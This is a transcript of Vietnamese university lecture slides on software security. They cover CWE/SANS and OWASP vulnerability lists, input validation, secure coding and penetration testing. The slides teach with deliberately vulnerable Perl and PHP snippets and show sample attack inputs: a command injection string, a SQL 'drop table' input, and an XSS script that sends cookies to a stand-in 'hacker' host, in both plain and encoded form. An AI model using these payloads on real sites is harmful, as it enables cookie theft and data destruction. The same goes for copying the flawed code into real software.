An toàn và bảo mật hệ thống thông tin - C7: software security

16
9/21/2015 1 Giảng viên: Lê Phúc Email: [email protected] Website: http://is.ptithcm.edu.vn/~lephuc Software security INT1303 Information security, PTITHCM, 2015 Lỗi phần mềm 2 Bình quân có 5 lỗi trong 10.000 dòng lệnh Mỗi máy tính có khoảng 3000 file thực thi, mỗi file có khoảng 100.000 dòng lệnh Mỗi chương trình có khoảng 50 lỗi, mỗi máy tính có khoảng 150.000 lỗi. Có khoảng 10% lỗi nghiêm trọng, trong đó 10% lỗi có thể khai thác từ xa.

Transcript of An toàn và bảo mật hệ thống thông tin - C7: software security

Page 1: An toàn và bảo mật hệ thống thông tin - C7: software security

9/21/2015

1

Giảng viên: Lê Phúc

Email: [email protected]

Website: http://is.ptithcm.edu.vn/~lephuc

Software security

INT1303 Information security, PTITHCM, 2015

Lỗi phần mềm2

Bình quân có 5 lỗi trong 10.000 dòng lệnh

Mỗi máy tính có khoảng 3000 file thực thi, mỗi

file có khoảng 100.000 dòng lệnh

Mỗi chương trình có khoảng 50 lỗi, mỗi máy

tính có khoảng 150.000 lỗi.

Có khoảng 10% lỗi nghiêm trọng, trong đó

10% lỗi có thể khai thác từ xa.

Page 2: An toàn và bảo mật hệ thống thông tin - C7: software security

9/21/2015

2

Lỗi phần mềm

INT1303 Information security, PTITHCM, 2015

3

Error: Lỗi lập trình do con người

Fault: Trạng thái khi thực thi chương trình lỗi

Failure: Sự cố hệ thống có nguyên do từ lỗi

phần mềm

Flaw = Error + Fault + Failure

char array[10];

for(i = 0; i <= 10; ++i )

array[i] = `A`;

Các lỗi phần mềm nghiêm trọng

INT1303 Information security, PTITHCM, 2015

4

CWE/SANS liệt kê 25 lỗi bảo mật nguy hiểm

nhất, chia thành 3 nhóm:

Insecure Interaction Between Components

Risky Resource Management

Porous Defenses

Page 3: An toàn và bảo mật hệ thống thông tin - C7: software security

9/21/2015

3

Lỗi giao tiếp giữa các thành phần

INT1303 Information security, PTITHCM, 2015

5

Improper Neutralization of Special Elements used in an SQL Command (“SQL Injection”)

Improper Neutralization of Special Elements used in an OS Command (“OS Command Injection”)

Improper Neutralization of Input During Web Page Generation (“Cross-site Scripting”)

Unrestricted Upload of File with Dangerous Type

Cross-Site Request Forgery (CSRF)

URL Redirection to Untrusted Site (“Open Redirect”)

Lỗi quản lý tài nguyên

INT1303 Information security, PTITHCM, 2015

6

Buffer Copy without Checking Size of Input (“Classic Buffer Overflow”)

Improper Limitation of a Pathname to a Restricted Directory (“Path Traversal”)

Download of Code Without Integrity Check

Inclusion of Functionality from Untrusted Control Sphere

Use of Potentially Dangerous Function

Incorrect Calculation of Buffer Size

Uncontrolled Format String

Integer Overflow or Wraparound

Page 4: An toàn và bảo mật hệ thống thông tin - C7: software security

9/21/2015

4

Lỗi bảo vệ hệ thống

INT1303 Information security, PTITHCM, 2015

7

Missing Authentication for Critical Function

Missing Authorization

Use of Hard-coded Credentials

Missing Encryption of Sensitive Data

Reliance on Untrusted Inputs in a Security Decision

Execution with Unnecessary Privileges

Incorrect Authorization

Incorrect Permission Assignment for Critical Resource

Use of a Broken or Risky Cryptographic Algorithm

Improper Restriction of Excessive Authentication Attempts

Use of a One-Way Hash without a Salt

OWASP top 10

INT1303 Information security, PTITHCM, 2015

8

A1-Injection

A2-Broken Authentication and Session Management

A3-Cross-Site Scripting (XSS)

A4-Insecure Direct Object References

A5-Security Misconfiguration

A6-Sensitive Data Exposure

A7-Missing Function Level Access Control

A8-Cross-Site Request Forgery (CSRF)

A9-Using Components with Known Vulnerabilities

A10-Unvalidated Redirects and Forwards

Page 5: An toàn và bảo mật hệ thống thông tin - C7: software security

9/21/2015

5

Phần mềm an toàn

INT1303 Information security, PTITHCM, 2015

9

Các bước đảm bảo an toàn trong xây dựng

phần mềm

Xử lý dữ liệu nhập

Viết mã nguồn an toàn

Đảm bảo an toàn khi tương tác với Hệ điều hành

và các thành phần khác

Xử lý dữ liệu xuất

Phần mềm máy tính

INT1303 Information security, PTITHCM, 2015

10

Page 6: An toàn và bảo mật hệ thống thông tin - C7: software security

9/21/2015

6

Xử lý dữ liệu nhập

INT1303 Information security, PTITHCM, 2015

11

Kiểm tra dung lượng dữ liệu nhập

Phân tích dữ liệu nhập

Injection attacks

Cross-site scripting attacks

Kiểm tra cú pháp nhập liệu

Input fuzzing

Kiểm tra kích thước dữ liệu nhập

INT1303 Information security, PTITHCM, 2015

12

Lỗi buffer overflow thường khó phát hiện trong

quá trình kiểm tra phần mềm. Khi lập trình cần

chủ động:

Dùng các hàm nhập liệu an toàn (tránh các thư

viện C truyền thống).

Cấp phát bộ nhớ động.

Kiểm tra kích thước dữ liệu trước khi thực hiện

thao tác gán.

Page 7: An toàn và bảo mật hệ thống thông tin - C7: software security

9/21/2015

7

Phân tích dữ liệu nhập

INT1303 Information security, PTITHCM, 2015

13

Phân biệt dữ liệu nhị phân và dữ liệu text.

Xử lý đúng kiểu dữ liệu.

Phân tích các cấu trúc một cách chính xác, có kiểm tra tính hợp hệ của từng thành phần (kiểu cấu trúc, đối tượng, các gói dữ liệu của từng giao thức khác nhau)

Hai loại tấn công điển hình liên quan:

Injection attack

XSS attack

Injection attacks

INT1303 Information security, PTITHCM, 2015

14

Các kiểu injection:

Command injection

SQL injection

Các ngôn ngữ liên quan:

PHP

Perl

Python, ...

Page 8: An toàn và bảo mật hệ thống thông tin - C7: software security

9/21/2015

8

Command injection

INT1303 Information security, PTITHCM, 2015

15

Server-side script:

$q = new CGI;

print $q->header,

$q-> start_html('Finger User');

$user = $q->param("user");

print ‘/usr/bin/finger -sh $user’;

print $q->end_html;

Command injection

INT1303 Information security, PTITHCM, 2015

16

Client-side form:

<html><head><title>Finger User </title> </head> <body> </html>

<h1>Finger User</h1>

<form method=post action="finger.cgi">

<b>Username to finger</b>: <input type=text name=user value="">

<p><input type=submit value="Finger User">

</form></body></html>

Page 9: An toàn và bảo mật hệ thống thông tin - C7: software security

9/21/2015

9

INT1303 Information security, PTITHCM, 2015

17

Command injection

INT1303 Information security, PTITHCM, 2015

18

Kết quả khi nhập lpb:

Kết quả khi nhập xxx; echo attack

success; ls -l finger*

Page 10: An toàn và bảo mật hệ thống thông tin - C7: software security

9/21/2015

10

SQL injection

INT1303 Information security, PTITHCM, 2015

19

Server-side script:

$name = $_REQUEST['name'];

$query = “SELECT * FROM suppliers

WHERE name = ‘” . $name . “’;”;

$result = mysql_query($query);

Nếu dữ liệu nhập là: Bob'; drop table

suppliers

Kết quả?

XSS attack

INT1303 Information security, PTITHCM, 2015

20

Phân loại:

Stored XSS

Reflected XSS

DOM Based XSS

Ngôn ngữ liên quan:

JavaScript, ActiveX, VBScript, Flash,...

Page 11: An toàn và bảo mật hệ thống thông tin - C7: software security

9/21/2015

11

XSS attack

INT1303 Information security, PTITHCM, 2015

21

Ví dụ: plain XSS

Thanks for this information, its

great!

<script>document.location='http://ha

cker.web.site/cookie.cgi?'+

document.cookie</script>

XSS attack

INT1303 Information security, PTITHCM, 2015

22

Ví dụ: Encoded XSS

Thanks for this information, its great!

&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#108;&#111;&#99;&#97;&#116;&#105;&#111;&#110;&#61;&#39;&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#104;&#97;&#99;&#107;&#101;&#114;...

Page 12: An toàn và bảo mật hệ thống thông tin - C7: software security

9/21/2015

12

Kiểm tra cú pháp nhập liệu

INT1303 Information security, PTITHCM, 2015

23

Kiểm tra dữ liệu bằng biểu thức chính quy

(regular expression)

Chuẩn hóa dữ liệu nhập trước khi kiểm tra

(canonicalization)

Input fuzzing

INT1303 Information security, PTITHCM, 2015

24

Kiểm tra phần mềm bằng bộ dữ liệu được sinh

ngẫu nhiên

Sử dụng các mẫu thử (template) được thiết kế

để khai thác các lỗi cụ thể

Page 13: An toàn và bảo mật hệ thống thông tin - C7: software security

9/21/2015

13

Lập trình an toàn

INT1303 Information security, PTITHCM, 2015

25

Giải thuật đúng

Thiết kế và kiểm tra giải thuật

Biên dịch đúng:

Xây dựng hệ thống biên dịch tin cậy

Xử lý dữ liệu đúng

Phân tích đúng kiểu dữ liệu

Sử dụng bộ nhớ đúng

Cấp phát bộ nhớ động (C khác với C++/Java)

Tránh race condition

Sử dụng các giải pháp đồng bộ

Tương tác với HĐH

INT1303 Information security, PTITHCM, 2015

26

Các biến môi trường

Cấp quyền phù hợp

Sử dụng hàm hệ thống và thư viện

Ngăn chặn race condition

Sử dụng file tạm một cách an toàn

Tương tác với các chương trình khác

Page 14: An toàn và bảo mật hệ thống thông tin - C7: software security

9/21/2015

14

Xử lý các biến môi trường

INT1303 Information security, PTITHCM, 2015

27

Environment variables: chuỗi mô tả trạng thái

hoạt động, ví dụ PATH, COMSPEC,

LD_LIBRARY_PATH, ...

Tiến trìh kế thừa các biến này từ tiến trình cha,

tiến trình cha lấy các biến từ HĐH

Đây là một kênh để đưa dữ liệu không an toàn

vào chương trình.

Kiểm tra chặt chẽ khi tạo các shell scripts

Least privilege

INT1303 Information security, PTITHCM, 2015

28

Cấp quyền vừa đủ cho user objects

User mặc định của các dịch vụ:

Mail server

DBMS

Web server

...

IUSR_MachineName là user nào?

Page 15: An toàn và bảo mật hệ thống thông tin - C7: software security

9/21/2015

15

Sử dụng hàm hệ thống và thư viện

INT1303 Information security, PTITHCM, 2015

29

Các hàm hệ thống (system calls) là thành phần quan trọng của phần mềm.

System calls làm việc theo cơ chế chia sẻ giữa nhiều tiến trình, quan tâm đến hiệu năng hệ thống hơn là độ an toàn của từng tiến trình.

Chú ý tới các cơ chế xuất nhập dữ liệu trên hệ thống:

Ghi/xóa dữ liệu trên đĩa

Cập nhật dữ liệu trên buffer

Các vấn đề khác

INT1303 Information security, PTITHCM, 2015

30

Race condition

Sử dụng file tạm: lock file, dùng tên ngẫu

nhiên, tên gắn với PID, ...

Bảo vệ dữ liệu khi tương tác với chương trình

khác

Page 16: An toàn và bảo mật hệ thống thông tin - C7: software security

9/21/2015

16

Xử lý dữ liệu xuất

INT1303 Information security, PTITHCM, 2015

31

Dữ liệu xuất từ chương trình có thể:

Lưu trữ (database)

Truyền qua mạng

Xuất ra thiết bị xuất

Cần ngăn chặn việc xuất các thông tin nguy

hiểm đến hệ thống:

Các báo lỗi

Thông tin cấu hình, ...

Penetration testing

INT1303 Information security, PTITHCM, 2015

32

Kiểm tra phần mềm bằng cách xâm nhập.

Không có thông tin về hoạt động bên trong của

phần mềm.

Thường dùng để kiểm tra các dịch vụ

Tham khảo OWASP test guide